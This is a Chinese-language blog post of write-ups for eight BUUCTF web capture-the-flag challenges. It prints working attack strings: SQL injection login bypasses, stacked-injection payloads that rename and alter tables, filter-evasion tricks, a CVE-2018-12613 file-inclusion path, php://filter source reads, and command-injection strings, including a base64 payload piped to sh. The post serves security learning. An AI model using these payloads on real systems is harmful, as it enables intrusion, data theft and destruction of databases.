BUUCTF-Web部分刷题记录WriteUp——持续更新

本文记录buuctf日常刷题Web部分,writeup仅供大家参考。

1、[极客大挑战 2019]EasySQL

image

启动靶机,发现是一个登录点,尝试在用户名输入单引号,发现报错,证明此处存在SQL注入漏洞。

image

判断是数字型还是字符型

数字型
1' or 1=1 #
字符型
1' or '1'='1 #

发现是数字型并成功注入登录成功,获得flag

image

2、[极客大挑战 2019]Havefun

image

启动靶机,查看源代码,发现需要使用get请求方式,传入变量cat值为dog

image

image

3、[HCTF 2018]WarmUp

image

启动靶机,查看源代码,发现source.php

image

访问/source.php,发现hint.php

image

访问/hint.php,发现提示flag所在文件ffffllllaaaagggg

image

source.php中,还可以发现CVE-2018-12613的漏洞利用核心代码

image

其中mt_strpos所起到的作用是返回目标字符串首次出现的位置,联系mb_substr所起到的作用是截取目标字符串对应位置的内容,结合起来就是返回传入变量$page匹配到第一个?之前的内容

再往下分析代码,可以发现文件包含漏洞

image

结合以上获取的信息,直接用CVE-2018-12613的poc和hint.php的内容利用文件包含构造?file=hint.php%253f/../../../../../ffffllllaaaagggg,获得flag。

image

4、[ACTF2020 新生赛]Include

image

启动靶机,点击tips,发现其使用get构造读取文件flag.php,很明显需要使用文件包含解决。

image

这里需要使用伪协议php://,这个协议会将后面的文件做php处理。

在CTF中经常使用的是php://filterphp://inputphp://filter用于读取源码,php://input用于执行php代码。

构造?file=php://input发现回显hacker!

证明这里应该是对input协议设置了过滤。

image

php://filter参数详解如下:

php://filter 参数 描述
resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符分隔
write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符
<; 两个链的过滤器> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

最终,可如此构造?file=php://filter/read=convert.base64-encode/resource=flag.php,获取到flag.php的base64加密内容。

image

base64解码,获得flag。

image

5、[ACTF2020 新生赛]Exec

image

启动靶机,发现是一个执行ping的命令行,故推测使用命令执行漏洞解决。

可以使用|管道符来连接我们想要执行的命令

如构造127.0.0.1|cat /flag,获得flag

image

6、[GXYCTF2019]Ping Ping Ping

image

启动靶机,根据页面提示可知要使用get请求方式拼接命令,和上一题相似也是使用了命令执行漏洞。

构造?ip=127.0.0.1|ls,可以确认目标在flag.php

image

根据返回猜测应该是做了过滤限制,禁用了空格和一些特殊字符

image

image

CTF中,常用的绕过空格的方法如下:

  1. <重定向符
  2. set变量${IFS},$IFS,$ISF$9
  3. url编码%20,%09,+,%3c

以上,可如此构造?ip=127.0.0.1||cat$IFS$9index.php,成功读取到index.php

image

可以看到这句preg_match("/.*f.*l.*a.*g.*/", $ip),不允许输入当中依次出现f,l,a,g这四个字符。

方法一:变量拼接,可以利用自定义的变量b完成正则匹配的绕过,如下构造

?ip=127.0.0.1||b=g;cat$IFS$8fla$b.php

然后检查源代码,发现flag。

image

方法二:

内联执行,在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用`ls`查询出index.php。那么`ls`就代表了index.php这个文件。那么我们就可以使用cat命令查看index.php的内容,而这一道题就可以使用cat$IFS$1`ls`这个命令来输出flag了

image

方法三:Base64编码,可以将cat flag.php进行base64编码绕过正则,再用base -d命令解码,如下构造?ip=127.0.0.1||echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

image

7、[强网杯 2019]随便注

image

启动靶机,使用单引号,发现报错,证明存在SQL注入漏洞。

image

使用order by判断字段数量以后,尝试联合查询,发现这里规则过滤了很多关键词

image

经过思考,借鉴大佬们的经验,这里需要使用堆叠注入,其原理如下:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

简单来说我们可以使用;来进行上一句话语句的闭合和下一句话的执行,因此我们可以用SHOW databasesSHOW tables来查看数据库名和表名。

payload:1';SHOW databases;#

image

payload:1';SHOW tables;#

image

查看words表中的列名

payload:1';SHOW columns from words;#

image

flag貌似不在这个表中,再查看一下1919810931114514表中的内容,发现flag。
payload:

1';SHOW columns from `1919810931114514`;#

image

下面要读取flag的数据,我们的目标语句是select * from '1919810931114514';

这里参考了大佬思路

思路一:

  1. 通过 rename 先把 words 表改名为其他的表名。
  2. 把 1919810931114514 表的名字改为 words 。
  3. 给新 words 表添加新的列名 id 。
  4. 将 flag 改名为 data。

payload:

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

image

思路二:因为select被过滤了,所以将payload进行16进制编码

payload:1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

image

思路三:

payload:

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

image

思路四:使用'se','lect绕过

payload:

1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

image

8、[SUCTF 2019]EasySQL

image

启动靶机,这题的考点也是堆叠注入,现在SQL注入的题考这个点的挺多的。

查看数据库

payload:1;show databases;#

image

查看表,发现flag可能在Flag表中,但测试发现from、flag等字节都被过滤了。

payload:1;show tables;#

image

查询列,理解:当输入为0或者字符时没有回显,当输入非0数字时回显为如下

payload:1;show colmns;

image

思路一:传入*,0构造select *,0 || 0 from Flag即:select *,0 from Flag

payload:*,0

image

思路二:猜测源码利用了||符号,可以利用PIPES_AS_CONCAT||起到连接符的作用

payload:1;set sql_mode=PIPES_AS_CONCAT;select 1

payload解析:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag

image

posted @ 2023-09-14 09:28  D3KXY  阅读(155)  评论(0)    收藏  举报